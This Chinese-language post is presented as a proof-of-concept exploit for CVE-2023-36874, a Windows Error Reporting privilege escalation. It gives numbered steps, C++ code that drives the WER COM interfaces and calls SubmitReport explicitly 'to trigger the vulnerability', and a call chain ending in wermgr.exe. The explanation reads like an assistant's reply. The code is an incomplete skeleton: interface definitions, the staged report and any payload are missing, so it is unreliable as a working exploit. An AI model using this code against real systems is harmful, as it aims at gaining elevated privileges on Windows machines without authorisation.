Windows 错误报告服务特权提升漏洞 CVE-2023-36874 PoC

1. 初始化COM：通过调用`CoInitialize(NULL)`来初始化COM，为后续的COM操作做准备。2. 创建COM接口与WER交互：   - 创建`CLSID_ERCLuaSupport`的实例以获取`IErcLuaSupport`接口。   - 使用`IErcLuaSupport`接口创建一个`IWerStoreFactory`实例。   - 使用`IWerStoreFactory`实例创建一个`IWerStore`实例。3. 开始报告枚举过程：通过调用`pIWerStore->EnumerateStart()`来开始报告枚举过程，这可能是为了获取报告列表。4. 加载报告：使用`pIWerStore->LoadReport`函数加载一个报告。请将"ReportName"替换为你要利用的实际报告名称。5. 提交加载的报告：通过调用`pIWerReport->SubmitReport()`来触发漏洞，提交加载的报告。6. 释放COM接口与清理资源：   - 调用`pIWerReport->Release()`释放`pIWerReport`接口。   - 调用`pIWerStore->Release()`释放`pIWerStore`接口。   - 调用`pIWerStoreFactory->Release()`释放`pIWerStoreFactory`接口。   - 调用`pIErcLuaSupport->Release()`释放`pIErcLuaSupport`接口。7. 取消初始化COM：通过调用`CoUninitialize()`来取消初始化COM，释放COM库的资源。这些步骤看起来是在利用一种与Windows错误报告系统相关的漏洞。请注意，这只是一个指导，实际执行这些步骤需要一些背景知识和正确的环境。同时，注意在进行任何漏洞研究时要遵循法律和道德规范。如果你有具体问题或需要更详细的帮助，欢迎继续提问。

#include <Windows.h>#include <iostream>int main() {    // 通过调用 CoInitialize(NULL) 来初始化 COM。    CoInitialize(NULL);    // 创建用于与 WER 交互的 COM 接口：    IWerReport* pIWerReport = nullptr;    IErcLuaSupport* pIErcLuaSupport = nullptr;    IWerStoreFactory* pIWerStoreFactory = nullptr;    IWerStore* pIWerStore = nullptr;    // 创建 CLSID_ERCLuaSupport 的实例以获取 IErcLuaSupport 接口。    CoCreateInstance(CLSID_ERCLuaSupport, NULL, CLSCTX_LOCAL_SERVER, IID_IErcLuaSupport, (PVOID*)&pIErcLuaSupport);    // 使用 IErcLuaSupport 接口创建一个 IWerStoreFactory 实例。    pIErcLuaSupport->CoCreateIWerStoreFactory(&pIWerStoreFactory);    // 使用 IWerStoreFactory 实例创建一个 IWerStore 实例。    pIWerStoreFactory->CoCreateIWerStore(&pIWerStore);    // 漏洞利用步骤    // 通过调用 pIWerStore->EnumerateStart() 开始报告枚举和检索过程。    pIWerStore->EnumerateStart();    // 使用 pIWerStore->LoadReport 函数加载一个报告。将 "ReportName" 替换为你想要利用的实际报告名称。    pIWerStore->LoadReport(L"ReportName", &pIWerReport);    // 提交加载的报告以触发漏洞，通过调用 pIWerReport->SubmitReport() 函数。    pIWerReport->SubmitReport();    // 清理    // 释放 COM 接口并清理资源。    pIWerReport->Release();    pIWerStore->Release();    pIWerStoreFactory->Release();    pIErcLuaSupport->Release();    // 通过调用 CoUninitialize() 来反初始化 COM。    CoUninitialize();    return 0;}

IWerReport->SubmitReportWerpSubmitReportFromStorewer.dllUtilLaunchWerManagerCreateProcessC:WindowsSystem32wermgr.exe